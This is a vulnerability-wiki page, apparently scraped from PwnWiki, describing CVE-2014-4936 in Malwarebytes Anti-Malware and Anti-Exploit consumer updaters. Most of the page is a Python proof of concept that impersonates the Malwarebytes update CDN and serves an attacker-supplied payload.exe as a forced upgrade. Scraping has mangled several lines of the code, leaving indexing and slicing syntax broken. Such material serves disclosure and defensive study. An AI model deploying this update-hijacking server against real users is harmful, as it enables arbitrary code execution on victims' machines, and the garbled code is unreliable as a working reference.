Loading
0

CVE-2014-4936 Malwarebytes Anti-Malware 任意代码执行漏洞

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

INFO

The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in-the-middle attackers to execute arbitrary code by spoofing the update server and uploading an executable.

POC

#!/usr/bin/env python

"""

 Created by Yonathan Klijnsma
    http://blog.0x3a.com/
    
    
 Malwarebytes Anti-Malware and Anti-Exploit upgrade hijacking vulnerability
 Note: Only the consumer versions of these products are affected, the business
       versions of these products are not affected as they do not check for
       upgrades against the Malwarebytes CDN.

 Assigned CVE: CVE-2014-4936
 Official CVE Description:
    Malwarebytes Anti-Malware in consumer version 2.0.2 and earlier and
    Malwarebytes Anti-Exploit in consumer version 1.03 and earlier allow
    attackers to execute arbitrary code due to program upgrade hijacking.
    Corporate versions are not affected.

 Malwarebytes Anti-Malware:
	- Vulnerability discovered: June 18th 2014
	- Vulnerability reported: July 16th 2014
	- Vulnerability fixed in version 2.0.3 released on October 3rd 2014
 Malwarebytes Anti-Exploit:
	- Vulnerablity discovered: August 19th 2014
	- Vulnerability reported: August 21st 2014
	- Vulnerability fixed in version 1.04.1.1012 released on September 5th 2014
   
 This update server works for both products. Redirect DNS towards this
 host for 'data-cdn.mbamupdates.com' and any subdomains of this. Put a
 payload in the same dir as this script and call it 'payload.exe'. This
 payload will be send to the clients when they ask for updates.
 
"""

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime, timedelta
from md5 import md5
import urlparse
import base64
import sys
import re

PORT_NUMBER = 80
UA_PROG_VER_REGEXP = re.compile('base:(\d+\.\d+\.\d+\.\d+)')
MBAM_VERSION_DOWNLOAD_PATH = ''
MBAE_VERSION_DOWNLOAD_PATH = ''
MBAE_FORCE_UPDATE_VERSION = '9.99.9.9999'
PAYLOAD_PATH = './payload.exe'

class mbamCDNHandler(BaseHTTPRequestHandler):

    def mbae_program_check(self):
        global MBAE_VERSION_DOWNLOAD_PATH
        global MBAE_FORCE_UPDATE_VERSION
        
        # Set the version download path so we reconize the URI when the client comes back
        MBAE_VERSION_DOWNLOAD_PATH = '/v2/mbae/consumer/data/mbae-setup-' + MBAE_FORCE_UPDATE_VERSION + '.exe'
        
        date = datetime.now()
        date_exp = date + timedelta(hours=1)

        self.send_response(200)
        # Not all headers are needed but we'll do it anyway.
        self.send_header('Accept-Ranges', 'bytes')
        self.send_header('Cache-Control', 'max-age=300')
        self.send_header('Content-Type', 'application/octet-stream')
        self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Etag', '"0-0000000000000"')
        self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Server', 'ECAcc (ams/48C9)')
        self.send_header('Content-Length', str(len(MBAE_FORCE_UPDATE_VERSION)))
        self.send_header('Connection', 'close')
        self.end_headers()

        self.wfile.write(MBAE_FORCE_UPDATE_VERSION)

        print '+ MBAE Client program version check, enforced update to version {}'.format(MBAE_FORCE_UPDATE_VERSION)        
    
    def mbae_program_update(self):
        global PAYLOAD_PATH
        payload_data = open(PAYLOAD_PATH, 'rb').read()

        date = datetime.now()
        date_exp = date + timedelta(hours=1)

        self.send_response(200)
        # Not all headers are needed but we'll do it anyway.
        self.send_header('Accept-Ranges', 'bytes')
        self.send_header('Cache-Control', 'max-age=300')
        self.send_header('Content-Type', 'application/x-msdos-program')
        self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Etag', '"000000-00000000000000"')
        self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Server', 'ECAcc (dfw/2794)')
        self.send_header('X-Cache', 'HIT')
        self.send_header('Content-Length', str(len(payload_data)))
        self.end_headers()

        # Payload data goes into the response plain
        self.wfile.write(payload_data)

        print '+ MBAE Client payload download.'

    def mbam_program_check(self):
        global MBAM_VERSION_DOWNLOAD_PATH

        # Get a version number higher than the current (to force the client to download an update)
        ua = self.headers'User-Agent'
        m = re.search(UA_PROG_VER_REGEXP, ua)
        if(m == None):
            self.send_response(500)
            return

        # Set the version download path so we recognize the URI when the client comes back
        version_response = m.group(0)5:
        version_response = str(int(version_response0) + 1) + version_response1:
        MBAM_VERSION_DOWNLOAD_PATH = '/v0/program/data/mbam-setup-' + version_response + '.exe'

        # We need to put a hash in the response headers
        vhash = md5()
        vhash.update(version_response)

        date = datetime.now()
        date_exp = date + timedelta(hours=1)

        self.send_response(200)
        # Not all headers are needed but we'll do it anyway, important one is the MD5
        self.send_header('Accept-Ranges', 'bytes')
        self.send_header('Cache-Control', 'max-age=300')
        self.send_header('Content-MD5', base64.b64encode(vhash.hexdigest()))
        self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Etag', '"0-0000000000000"')
        self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Server', 'ECAcc (ams/4890)')
        self.send_header('x-admin', 'tedivm was here.')
        self.send_header('X-Cache', 'HIT')
        self.send_header('x-shameless-plug', 'Looking for a dev job? Send your resume to email protected')
        self.send_header('Content-Length', str(len(version_response)))
        self.send_header('Connection', 'close')
        self.end_headers()

        self.wfile.write(version_response)

        print '+ MBAM Client program version check: Client version {}, enforced update version {}'.format(m.group(0)5:, version_response)

    def mbam_program_update(self):
        global PAYLOAD_PATH
        payload_data = open(PAYLOAD_PATH, 'rb').read()

        vhash = md5()
        vhash.update(payload_data)

        date = datetime.now()
        date_exp = date + timedelta(hours=1)

        self.send_response(200)
        # Not all headers are needed but we'll do it anyway, important one is the MD5
        self.send_header('Accept-Ranges', 'bytes')
        self.send_header('Cache-Control', 'max-age=300')
        self.send_header('Content-MD5', base64.b64encode(vhash.hexdigest()))
        self.send_header('Content-Type', 'application/x-msdos-program')
        self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Etag', '"000000-00000000000000"')
        self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
        self.send_header('Server', 'ECAcc (dfw/27A5)')
        self.send_header('x-admin', 'tedivm was here.')
        self.send_header('X-Cache', 'HIT')
        self.send_header('x-shameless-plug', 'Looking for a dev job? Send your resume to email protected')
        self.send_header('Content-Length', str(len(payload_data)))
        self.send_header('Connection', 'close')
        self.end_headers()

        # Payload data goes into the response plain
        self.wfile.write(payload_data)

        print '+ MBAM Client payload download.'
        
    def do_GET(self):
        if self.path == "/v0/program/mbam.check.program": # MBAM update check
            self.mbam_program_check()
        elif self.path =="/v2/mbae/consumer/version.chk": # MBAE update check
            self.mbae_program_check()
        elif self.path == MBAM_VERSION_DOWNLOAD_PATH: # MBAM update retrieval
            self.mbam_program_update()
	elif self.path == MBAE_VERSION_DOWNLOAD_PATH: # MBAE update retrieval
	    self.mbae_program_update()
        else: # Any other requests we just reply 200 OK, it doesn't matter for the client if the actual reply is empty.
            print '+ Attempt for URI: {}'.format(self.path)
            self.send_response(200)

def main():
    try:
            server = HTTPServer(('', PORT_NUMBER), mbamCDNHandler)
            print 'Started Malwarebytes CDN simulator.'
            server.serve_forever()
     
    except KeyboardInterrupt:
            print '^C received, shutting down the web server'
            server.socket.close()

if __name__ == "__main__":
    sys.exit(main())

免费、自由、人人可编辑的漏洞库--PwnWiki.com